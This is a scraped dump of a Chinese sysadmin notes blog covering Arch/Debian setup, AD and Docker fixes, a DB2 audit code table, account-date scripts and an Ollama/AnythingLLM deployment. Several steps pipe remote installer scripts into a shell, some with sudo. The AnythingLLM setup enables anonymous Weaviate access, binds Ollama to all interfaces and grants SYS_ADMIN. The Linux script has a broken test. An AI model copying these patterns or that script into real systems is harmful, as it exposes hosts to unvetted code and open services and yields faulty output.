常用軟體安裝 # 1 2 3 4 yay -S google-chrome nmon forticlient-vpn balena-etcher ibus-daemon -drxR sudo pacman -U ./tabby-1.0.211-linux-x64.pacman sudo pacman -S zsh fcitx5 fcitx5-configtool fcitx5-gtk fcitx5-qt fcitx5-chewing remmina freerdp /usr/bin/libreoffice # 1 2 export XMODIFIERS=\u0026#34;@im=fcitx\u0026#34; export QT_IM_MODULE=\u0026#34;fcitx\u0026#34; 安裝驅動程式 # 1 sudo pacman -S bluez bluez-utils bluedevil fwupd vulkan-intel mesa sof-firmware ntfs-3 touchpad # X11 環境\n1 2 sudo pacman -S touchegg yay touch 筆電電源管理 # 1 sudo pacman -S power-profiles-daemon 更換 GRUB # 1 sudo cp . /usr/share/grub/themes/Distro -rf /etc/default/grub 1 2 3 4 #GRUB_THEME= GRUB_THEME=\u0026#34;/usr/share/grub/themes/Distro/theme.txt\u0026#34; #修改后 sudo grub-mkconfig -o /boot/grub/grub.cfg 日常維護 # 1 2 3 # 更新數據庫 sudo pacman -Syyu sudo pacman -Syu 錯誤處理 # yay: error while loading shared libraries: libalpm.so.14: cannot open shared object file: No such file or directory # 原因: pacman 7 之後移除 libalpm.so.14\n解決方式:\n建一個軟連結騙他吧\n1 sudo ln -s /usr/lib/libalpm.so.15.0.0 /usr/lib/libalpm.so.14 參考資料 # Arch linux 安裝 Arch Linux 安裝手冊 installArchBios.md Installation Arch Linux 安装使用教程 - ArchTutorial - Arch Linux Studio 故障排除：在 Arch Linux 上启用蓝牙 功耗控制 千里之行始于足下 ","date":"August 2, 2024","externalUrl":null,"permalink":"/worknot/arch-linux-20240802/","section":"Worknots","summary":"環境 # KVM CPU: 2 core RAM: 2G 環境調查事項 # 開機方式: bios_grub or UEFI 環境規劃 # 硬碟 # swap: 4G bios_grub: 1M /boot: 1GB 下載 # 1 wget https://linux.cs.nctu.edu.tw/archlinux/iso/2024.08.01/archlinux-2024.08.01-x86_64.iso 安裝 SOP # 選擇鏡像站\n","title":"Arch Linux 安裝","type":"worknot"},{"content":"","date":"August 1, 2024","externalUrl":null,"permalink":"/tags/debiain/","section":"Tags","summary":"","title":"Debiain","type":"tags"},{"content":" 筆電 # 蓋上螢幕不休眠 # /etc/systemd/logind.conf 1 HandleLidSwitch=ignore 1 2 sudo systemctl restart systemd-logind sudp reboot ","date":"August 1, 2024","externalUrl":null,"permalink":"/worknot/worknot-20240801-1/","section":"Worknots","summary":"筆電 # 蓋上螢幕不休眠 # /etc/systemd/logind.conf 1 HandleLidSwitch=ignore 1 2 sudo systemctl restart systemd-logind sudp reboot ","title":"Debiain 桌面設定","type":"worknot"},{"content":"","date":"July 19, 2024","externalUrl":null,"permalink":"/tags/docer/","section":"Tags","summary":"","title":"Docer","type":"tags"},{"content":"經驗分享\nlinux /var/lib/docker/overlay2 這層目錄不能亂刪\n刪了 本機的 docker image 通通不見\n服務會瞬間死光光\n以下是誤刪的解決方式\n重啟 docker sudo systemctl restart docker\n清除docker資源 docker system prune -a\n重新匯入 docker image ","date":"July 19, 2024","externalUrl":null,"permalink":"/worknot/worknot-20240719-1/","section":"Worknots","summary":"經驗分享\nlinux /var/lib/docker/overlay2 這層目錄不能亂刪\n刪了 本機的 docker image 通通不見\n服務會瞬間死光光\n以下是誤刪的解決方式\n重啟 docker sudo systemctl restart docker\n清除docker資源 docker system prune -a\n重新匯入 docker image ","title":"docker overlay2","type":"worknot"},{"content":" 方案 # BalenaEtcher 環境 # OS: Debian 12 處理步驟 # 1 2 3 curl -1sLf \u0026#39;https://dl.cloudsmith.io/public/balena/etcher/setup.deb.sh\u0026#39; | sudo -E bash sudo apt update sudo apt install balena-etcher-electron ","date":"July 17, 2024","externalUrl":null,"permalink":"/worknot/worknot-20240717-2/","section":"Worknots","summary":"方案 # BalenaEtcher 環境 # OS: Debian 12 處理步驟 # 1 2 3 curl -1sLf 'https://dl.cloudsmith.io/public/balena/etcher/setup.deb.sh' | sudo -E bash sudo apt update sudo apt install balena-etcher-electron ","title":"在 Linux 中 製作 USB 開機牒","type":"worknot"},{"content":"","date":"July 17, 2024","externalUrl":null,"permalink":"/tags/weindows/","section":"Tags","summary":"","title":"Weindows","type":"tags"},{"content":" weindows # 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 Write-Output \u0026#34;User,Birth\u0026#34; # 取得所有用戶名和主目錄路徑 $users = Get-WmiObject Win32_UserAccount | Where-Object { $_.LocalAccount -eq $true -and $_.SIDType -eq 1 } foreach ($user in $users) { $homeDir = \u0026#34;C:\\Users\\$($user.Name)\u0026#34; if (Test-Path $homeDir) { $creationTime = (Get-Item $homeDir).CreationTime $formattedTime = $creationTime.ToString(\u0026#34;yyyy-MM-dd HH:mm:ss\u0026#34;) Write-Output \u0026#34;$($env:COMPUTERNAME),$($user.Name),$formattedTime\u0026#34; } else { Write-Output \u0026#34;$($env:COMPUTERNAME),$($user.Name),-\u0026#34; } } Linux # 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 #!/bin/bash # 從 /etc/passwd 文件中讀取所有用戶名和主目錄路徑 while IFS=: read -r username _ _ _ _ home_dir _; do if [ -d \u0026#34;$home_dir\u0026#34; ]; then # 使用 stat 命令獲取主目錄資訊 stat_output=$(stat \u0026#34;$home_dir\u0026#34;) birth_time=$(echo \u0026#34;$stat_output\u0026#34; | grep \u0026#39;Birth\u0026#39; | awk \u0026#39;{print $2 \u0026#34; \u0026#34; $3}\u0026#39;) if [ -n \u0026#34;$birth_time\u0026#34; ]; then formatted_time=$(date -d \u0026#34;$birth_time\u0026#34; +\u0026#39;%Y-%m-%d %H:%M:%S\u0026#39;) echo \u0026#34;$(hostname),$username,$formatted_time\u0026#34; else birth_time=$(echo \u0026#34;$stat_output\u0026#34; | grep \u0026#39;Change\u0026#39; | awk \u0026#39;{print $2 \u0026#34; \u0026#34; $3}\u0026#39;) if [-n \u0026#34;$birth_time\u0026#34;]; then formatted_time=$(date -d \u0026#34;$birth_time\u0026#34; +\u0026#39;%Y-%m-%d %H:%M:%S\u0026#39;) else echo \u0026#34;$(hostname),$username,-\u0026#34; fi fi else echo \u0026#34;$(hostname),$username,-\u0026#34; fi done \u0026lt; /etc/passwd ","date":"July 17, 2024","externalUrl":null,"permalink":"/worknot/worknot-20240717-1/","section":"Worknots","summary":"weindows # 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 Write-Output \"User,Birth\" # 取得所有用戶名和主目錄路徑 $users = Get-WmiObject Win32_UserAccount | Where-Object { $_.LocalAccount -eq $true -and $_.SIDType -eq 1 } foreach ($user in $users) { $homeDir = \"C:\\Users\\$($user.Name)\" if (Test-Path $homeDir) { $creationTime = (Get-Item $homeDir).CreationTime $formattedTime = $creationTime.ToString(\"yyyy-MM-dd HH:mm:ss\") Write-Output \"$($env:COMPUTERNAME),$($user.Name),$formattedTime\" } else { Write-Output \"$($env:COMPUTERNAME),$($user.Name),-\" } } Linux # 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 #!/bin/bash # 從 /etc/passwd 文件中讀取所有用戶名和主目錄路徑 while IFS=: read -r username _ _ _ _ home_dir _; do if [ -d \"$home_dir\" ]; then # 使用 stat 命令獲取主目錄資訊 stat_output=$(stat \"$home_dir\") birth_time=$(echo \"$stat_output\" | grep 'Birth' | awk '{print $2 \" \" $3}') if [ -n \"$birth_time\" ]; then formatted_time=$(date -d \"$birth_time\" +'%Y-%m-%d %H:%M:%S') echo \"$(hostname),$username,$formatted_time\" else birth_time=$(echo \"$stat_output\" | grep 'Change' | awk '{print $2 \" \" $3}') if [-n \"$birth_time\"]; then formatted_time=$(date -d \"$birth_time\" +'%Y-%m-%d %H:%M:%S') else echo \"$(hostname),$username,-\" fi fi else echo \"$(hostname),$username,-\" fi done \u003c /etc/passwd ","title":"尋找作業系統帳號建立日期","type":"worknot"},{"content":" 1 db2diag -l Warning | db2diag -g \u0026#34;comp^=bsu security\u0026#34; DB2 稽核 失敗 rc 對照表 # # rc Corresponding SQL30082N rc Explanation 1 -2146500508 1 Password has expired 2 -2146500507 2 The password is not valid for the specified user id 3 -2146500290 3 Password missing 4 -2146500504 15, 24, 26, 36 Password length is greater than the supported password length 5 -2146500289 5 User ID missing 6 -2146500502 6 Bad User 7 -2146500316 7 User ID is revoked 8 -2146500483 19 User ID suspended 9 -2146500315 24 Invalid User ID or password 10 -2146500271 4 Security protocol violation 11 -2146499492 15, 24 Encryption types do not match 12 -2146500270 17 Authentication types do not match 13 -2146500288 17 Unsupported function 14 -2146500301 20 Mutual authentication failed 15 -2146499529 41 A trusted connection was not established, so switch user request is invalid 16 -2146499506 42 Root capability required 17 -2146500252 N/A The specified node or server is not available 18 -2146500307 N/A Unable to authenticate because of system error 19 -2146500234 25 The security plugin has disallowed the connection 20 -2146500233 26 The server security plugin encountered an unexpected error 21 -2146500232 27 The server security plugin encountered an invalid server credential 22 -2146500231 28 The server security plugin encountered an expired server credential 23 -2146500230 29 The server security plugin encountered an invalid security token sent by the client 24 -2146500229 30 The client security plugin is missing a required API 25 -2146500228 31 The client security plugin is of the wrong plugin type 26 -2146500227 32 The client security plugin does not have a matching GSS-API security plugin available for connection to the database 27 -2146500226 33 The client security plugin cannot be loaded 28 -2146500225 34 The client security plugin name is invalid 29 -2146500224 35 The client security plugin reports an API version that is incompatible with DB2 30 -2146500223 36 The client security plugin encountered an unexpected error 31 -2146500222 37 The server security plugin encountered an invalid principal name 32 -2146500221 38 The client security plugin encountered an invalid client credential 33 -2146500220 39 The client security plugin encountered an expired client credential 34 -2146500219 40 The client security plugin encountered an invalid security token sent by the server 參考資料 # Password Validation Messages in db2diag.log ","date":"July 12, 2024","externalUrl":null,"permalink":"/worknot/db2-audit-rc-table/","section":"Worknots","summary":" 1 db2diag -l Warning | db2diag -g \"comp^=bsu security\" DB2 稽核 失敗 rc 對照表 # # rc Corresponding SQL30082N rc Explanation 1 -2146500508 1 Password has expired 2 -2146500507 2 The password is not valid for the specified user id 3 -2146500290 3 Password missing 4 -2146500504 15, 24, 26, 36 Password length is greater than the supported password length 5 -2146500289 5 User ID missing 6 -2146500502 6 Bad User 7 -2146500316 7 User ID is revoked 8 -2146500483 19 User ID suspended 9 -2146500315 24 Invalid User ID or password 10 -2146500271 4 Security protocol violation 11 -2146499492 15, 24 Encryption types do not match 12 -2146500270 17 Authentication types do not match 13 -2146500288 17 Unsupported function 14 -2146500301 20 Mutual authentication failed 15 -2146499529 41 A trusted connection was not established, so switch user request is invalid 16 -2146499506 42 Root capability required 17 -2146500252 N/A The specified node or server is not available 18 -2146500307 N/A Unable to authenticate because of system error 19 -2146500234 25 The security plugin has disallowed the connection 20 -2146500233 26 The server security plugin encountered an unexpected error 21 -2146500232 27 The server security plugin encountered an invalid server credential 22 -2146500231 28 The server security plugin encountered an expired server credential 23 -2146500230 29 The server security plugin encountered an invalid security token sent by the client 24 -2146500229 30 The client security plugin is missing a required API 25 -2146500228 31 The client security plugin is of the wrong plugin type 26 -2146500227 32 The client security plugin does not have a matching GSS-API security plugin available for connection to the database 27 -2146500226 33 The client security plugin cannot be loaded 28 -2146500225 34 The client security plugin name is invalid 29 -2146500224 35 The client security plugin reports an API version that is incompatible with DB2 30 -2146500223 36 The client security plugin encountered an unexpected error 31 -2146500222 37 The server security plugin encountered an invalid principal name 32 -2146500221 38 The client security plugin encountered an invalid client credential 33 -2146500220 39 The client security plugin encountered an expired client credential 34 -2146500219 40 The client security plugin encountered an invalid security token sent by the server 參考資料 # Password Validation Messages in db2diag.log ","title":"DB2 Audit Rc Table","type":"worknot"},{"content":"","date":"July 8, 2024","externalUrl":null,"permalink":"/tags/windows-ad/","section":"Tags","summary":"","title":"Windows Ad","type":"tags"},{"content":" 環境 # AD server: windows server 2022 Client server: Oracle Linux 9\n症狀: 無法抓取 AD 新資訊 # 1 2 [root@client-server ~]# id testacconut id: ‘testacconut’: no such user 問題排除步驟 # 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 # 退出當前 AD 領域。 realm leave # 停止 sssd 服務。 systemctl stop sssd # 確保舊的 AD 資料被清除。 sudo rm -rf /var/lib/sss/db/* sudo rm -rf /var/lib/sss/mc/* sudo rm -rf /var/lib/sss/secrets/* sudo rm -rf /var/lib/sss/pipes/* sudo rm -rf /var/lib/sss/gpo_cache/* sudo rm -rf /var/cache/realmd/* # 重新加入新的 AD 領域。 realm join --user=adManager ad.server.domain.com # 建立目錄和設置權限, 確保新的 sssd 配置能正常工作。 mkdir -p /var/lib/sss/pipes/private chown sssd:root /var/lib/sss/pipes/private # 重新啟動 sssd 服務以應用新的設定。 systemctl restart sssd 檢查 # 1 2 [root@client-server ~]# id testacconut uid=1167001136(testacconut@ad.server.domain.com) gid=1167000513(domain users@ad.server.domain.com) groups=1167000513(domain users@ad.server.domain.com) ","date":"July 8, 2024","externalUrl":null,"permalink":"/worknot/troubleshooting-linux-connection-to-windows-ad/","section":"Worknots","summary":"環境 # AD server: windows server 2022 Client server: Oracle Linux 9\n症狀: 無法抓取 AD 新資訊 # 1 2 [root@client-server ~]# id testacconut id: ‘testacconut’: no such user 問題排除步驟 # 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 # 退出當前 AD 領域。 realm leave # 停止 sssd 服務。 systemctl stop sssd # 確保舊的 AD 資料被清除。 sudo rm -rf /var/lib/sss/db/* sudo rm -rf /var/lib/sss/mc/* sudo rm -rf /var/lib/sss/secrets/* sudo rm -rf /var/lib/sss/pipes/* sudo rm -rf /var/lib/sss/gpo_cache/* sudo rm -rf /var/cache/realmd/* # 重新加入新的 AD 領域。 realm join --user=adManager ad.server.domain.com # 建立目錄和設置權限, 確保新的 sssd 配置能正常工作。 mkdir -p /var/lib/sss/pipes/private chown sssd:root /var/lib/sss/pipes/private # 重新啟動 sssd 服務以應用新的設定。 systemctl restart sssd 檢查 # 1 2 [root@client-server ~]# id testacconut uid=1167001136(testacconut@ad.server.domain.com) gid=1167000513(domain users@ad.server.domain.com) groups=1167000513(domain users@ad.server.domain.com) ","title":"故障排除: Linux 連接 windows AD","type":"worknot"},{"content":"","date":"July 6, 2024","externalUrl":null,"permalink":"/categories/ollama/","section":"Categories","summary":"","title":"Ollama","type":"categories"},{"content":"","date":"July 6, 2024","externalUrl":null,"permalink":"/tags/ollama/","section":"Tags","summary":"","title":"Ollama","type":"tags"},{"content":" 安裝環境 # OS: Debian 12 RAM: 64G CPU: 11th Gen Intel(R) Core(TM) i5-1145G7 @ 2.60GHz # https://man.twcc.ai/@preview-twccdocs/BkMbEvScj\n安裝方法 # MacOS # Download Ollama\nDebian 12 # 1 2 sudo apt install -y build-essential libssl-dev libffi-dev python3-dev curl -fsSL https://ollama.com/install.sh | sh 1 2 3 4 5 6 7 8 9 10 11 12 13 14 ❯ curl -fsSL https://ollama.com/install.sh | sh \u0026gt;\u0026gt;\u0026gt; Downloading ollama... ######################################################################## 100.0%##O=# # \u0026gt;\u0026gt;\u0026gt; Installing ollama to /usr/local/bin... \u0026gt;\u0026gt;\u0026gt; Creating ollama user... \u0026gt;\u0026gt;\u0026gt; Adding ollama user to render group... \u0026gt;\u0026gt;\u0026gt; Adding ollama user to video group... \u0026gt;\u0026gt;\u0026gt; Adding current user to ollama group... \u0026gt;\u0026gt;\u0026gt; Creating ollama systemd service... \u0026gt;\u0026gt;\u0026gt; Enabling and starting ollama service... Created symlink /etc/systemd/system/default.target.wants/ollama.service → /etc/systemd/system/ollama.service. \u0026gt;\u0026gt;\u0026gt; The Ollama API is now available at 127.0.0.1:11434. \u0026gt;\u0026gt;\u0026gt; Install complete. Run \u0026#34;ollama\u0026#34; from the command line. WARNING: No NVIDIA/AMD GPU detected. Ollama will run in CPU-only mode. 筆電可以不用開啟\n1 sudo systemctl disable ollama /etc/systemd/system/ollama.service 1 2 3 [Service] Environment=\u0026#34;OLLAMA_ORIGINS=http://your.domain\u0026#34; Environment=\u0026#34;OLLAMA_HOST=0.0.0.0\u0026#34; 1 curl -fsSL https://s3.us-west-1.amazonaws.com/public.useanything.com/latest/installer.sh | sh 1 sudo firewall-cmd --zone=docker --add-port=11434/tcp 檢查版本 1 2 ❯ ollama --version ollama version is 0.1.48 anythingllm # anythingllm desktop # 1 curl -fsSL https://cdn.anythingllm.com/latest/installer.sh | sh ~/.local/share/applications/anythingllm-desktop.desktop 1 2 3 4 5 6 7 8 9 10 11 [Desktop Entry] Version=1.0 Type=Application Name=anythingllm-desktop Path=/home/pollochang/AnythingLLMDesktop/ Icon=/home/pollochang/AnythingLLMDesktop/anythingllm-desktop/anythingllm-desktop.png Exec=/home/pollochang/AnythingLLMDesktop/start Comment=anythingllm-desktop Categories=AI;LLM; Terminal=false anythingllm server # env.txt 1 2 3 4 SERVER_PORT=3001 STORAGE_DIR=\u0026#34;/app/server/storage\u0026#34; UID=\u0026#39;1000\u0026#39; GID=\u0026#39;1000\u0026#39; docker-compose.yml 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 version: \u0026#39;3.8\u0026#39; services: anythingllm: image: mintplexlabs/anythingllm container_name: anythingllm restart: unless-stopped cap_add: - SYS_ADMIN ports: - \u0026#34;3014:3001\u0026#34; volumes: - /data/anythingllm/data:/app/server/storage - /data/anythingllm/env.txt:/app/server/.env networks: anything_llm: ipv4_address: 10.2.2.10 weaviate: command: - --host - 0.0.0.0 - --port - \u0026#39;8080\u0026#39; - --scheme - http image: cr.weaviate.io/semitechnologies/weaviate:1.26.5 ports: - 8080:8080 - 50051:50051 volumes: - /data/weaviate/data:/var/lib/weaviate restart: on-failure:0 environment: QUERY_DEFAULTS_LIMIT: 25 AUTHENTICATION_ANONYMOUS_ACCESS_ENABLED: \u0026#39;true\u0026#39; PERSISTENCE_DATA_PATH: \u0026#39;/var/lib/weaviate\u0026#39; DEFAULT_VECTORIZER_MODULE: \u0026#39;none\u0026#39; ENABLE_API_BASED_MODULES: \u0026#39;true\u0026#39; CLUSTER_HOSTNAME: \u0026#39;node1\u0026#39; networks: anything_llm: ipv4_address: 10.2.2.11 networks: anything_llm: driver: bridge ipam: config: - subnet: \u0026#34;10.2.2.0/24\u0026#34; 1 firewall-cmd --permanent --add-port=3014/tcp api example # 1 2 3 4 curl -X \u0026#39;GET\u0026#39; \\ \u0026#39;http://your.domain:3014/api/v1/auth\u0026#39; \\ -H \u0026#39;accept: application/json\u0026#39; \\ -H \u0026#39;Authorization: Bearer \u0026lt;token\u0026gt;\u0026#39; 1 2 3 4 curl -X \u0026#39;GET\u0026#39; \\ \u0026#39;http://your.domain:3014/api/v1/workspace/pollo-lab\u0026#39; \\ -H \u0026#39;accept: application/json\u0026#39; \\ -H \u0026#39;Authorization: Bearer \u0026lt;token\u0026gt;\u0026#39; 1 2 3 4 5 6 7 8 9 curl -X \u0026#39;POST\u0026#39; \\ \u0026#39;http://your.domain:3014/api/v1/workspace/pollo-lab/chat\u0026#39; \\ -H \u0026#39;accept: application/json\u0026#39; \\ -H \u0026#39;Authorization: Bearer \u0026lt;token\u0026gt;\u0026#39; \\ -H \u0026#39;Content-Type: application/json\u0026#39; \\ -d \u0026#39;{ \u0026#34;message\u0026#34;: \u0026#34;你好?\u0026#34;, \u0026#34;mode\u0026#34;: \u0026#34;query\u0026#34; }\u0026#39; 初學 Ollama CLI # 1 2 3 4 5 6 # 看有哪些模型在電腦中 ollama list # 刪除模型 ollama rm \u0026lt;模型名稱\u0026gt; # 僅安裝模型 ollama pull \u0026lt;模型名稱\u0026gt; Ollama 語言模型 使用心得 # Mistral AI tinyllama: 講幹話很強 llama3 llama3: 不是合在CPU codellama: https://github.com/meta-llama/codellama Microsoft phi3(手機) 中文普普，不吃中文文檔 orca-mini 中文很爛 Google gemma gemma2 IBM granite-code: 目前在 CPU 環境反應最好 阿里巴巴(中國) qwen2: 處理中文文件很強 deepseek(中國) deepseek-coder-v2 TAIDE: TAIDE - 推動臺灣可信任生成式AI發展計畫 willh/taide-lx-7b-chat-4bit 聯發科技公司 ycchen/breeze-7b-instruct-v1_0 使用模型 # 下載模型 # 1 ollama pull gemma2 聊天介面 # 1 ollama run gemma2 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 ❯ ollama run tinyllama \u0026gt;\u0026gt;\u0026gt; 幫我翻譯程繁體中文: A terminal for the modern age 終端機來自今代的時光！ 如果你是一個桌面環境的新手，謝辭應用程式，內容可以讓大多数人都能理解。 我們不會認為整合性是一種財富或經濟體驗。 在大多數場景中，我們會終端機作為你的工具之一。 如果你不想把它看成對你的優勢，視覺上可能是很難以理解。 我們希望您翻譯了你強力需要的程繁文字，但我倒不是終端機本身的問題。 在此與我們的商業合作中，我對於使用者的關注度和需求都是一種純粋的一元化。 如果我不能提供有效的評論或建議，我倒不是終端機本身的問題。 既然我想要你的商業合作，我們會在一定程度上提供相同之意和功能的內容。 若是終端機本身有其他問題，試探我對於商業合作中的技術或技術分析方面的質疑。 在最後一種情況下，我倒不是終端機本身的問題。 終端機強力需要的程繁文字。 API # streaming: true (default) 1 2 3 4 5 6 curl http://localhost:11434/api/chat -d \u0026#39;{ \u0026#34;model\u0026#34;: \u0026#34;willh/taide-lx-7b-chat-4bit:latest\u0026#34;, \u0026#34;messages\u0026#34;: [ { \u0026#34;role\u0026#34;: \u0026#34;user\u0026#34;, \u0026#34;content\u0026#34;: \u0026#34;幫我翻譯程繁體中文: A terminal for the modern age\u0026#34; } ] }\u0026#39; streaming: false 1 2 3 4 5 6 7 curl http://localhost:11434/api/chat -d \u0026#39;{ \u0026#34;model\u0026#34;: \u0026#34;tinyllama\u0026#34;, \u0026#34;messages\u0026#34;: [ { \u0026#34;role\u0026#34;: \u0026#34;user\u0026#34;, \u0026#34;content\u0026#34;: \u0026#34;幫我翻譯程繁體中文: A terminal for the modern age\u0026#34; } ], \u0026#34;stream\u0026#34;: false }\u0026#39; 顯示結果: streaming: true\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 344 345 346 347 348 349 350 351 352 353 354 355 356 357 358 359 360 361 362 363 364 365 366 367 368 369 370 371 372 373 374 375 376 377 378 379 380 381 382 383 384 385 386 387 388 389 390 391 392 393 394 395 396 397 398 399 400 401 402 403 404 405 406 407 408 409 410 411 412 413 414 415 416 417 418 419 420 421 422 423 424 425 426 427 428 429 430 431 432 433 434 435 436 437 438 439 440 441 442 443 444 445 446 447 448 449 450 451 452 453 454 455 456 457 458 459 460 461 462 463 464 465 466 467 468 469 470 471 472 473 474 475 476 477 478 479 480 481 482 483 484 485 486 487 488 489 490 491 492 493 494 495 496 497 498 499 500 501 502 503 504 505 506 507 508 509 510 511 512 513 514 515 516 517 518 519 520 521 522 523 524 525 526 527 528 529 530 531 532 533 534 535 536 537 538 539 540 541 542 543 544 545 546 547 548 549 550 551 552 553 554 555 556 557 558 559 ❯ curl http://localhost:11434/api/chat -d \u0026#39;{ \u0026#34;model\u0026#34;: \u0026#34;tinyllama\u0026#34;, \u0026#34;messages\u0026#34;: [ { \u0026#34;role\u0026#34;: \u0026#34;user\u0026#34;, \u0026#34;content\u0026#34;: \u0026#34;幫我翻譯程繁體中文: A terminal for the modern age\u0026#34; } ] }\u0026#39; {\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:18.193144153Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34;很\u0026#34;},\u0026#34;done\u0026#34;:false} {\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:18.227610125Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34;高\u0026#34;},\u0026#34;done\u0026#34;:false} {\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:18.272222685Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34;手\u0026#34;},\u0026#34;done\u0026#34;:false} {\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:18.378491935Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34;兼\u0026#34;},\u0026#34;done\u0026#34;:false} {\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:18.485572049Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34;資\u0026#34;},\u0026#34;done\u0026#34;:false} {\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:18.58698055Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34;訊\u0026#34;},\u0026#34;done\u0026#34;:false} {\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:18.622565431Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34;技\u0026#34;},\u0026#34;done\u0026#34;:false} {\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:18.665642061Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34;術\u0026#34;},\u0026#34;done\u0026#34;:false} {\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:18.776396954Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34;導\u0026#34;},\u0026#34;done\u0026#34;:false} {\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:18.816554315Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34;向\u0026#34;},\u0026#34;done\u0026#34;:false} {\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:18.851121457Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34;科\u0026#34;},\u0026#34;done\u0026#34;:false} {\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:18.891879035Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34;技\u0026#34;},\u0026#34;done\u0026#34;:false} {\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:18.932761909Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34;公\u0026#34;},\u0026#34;done\u0026#34;:false} 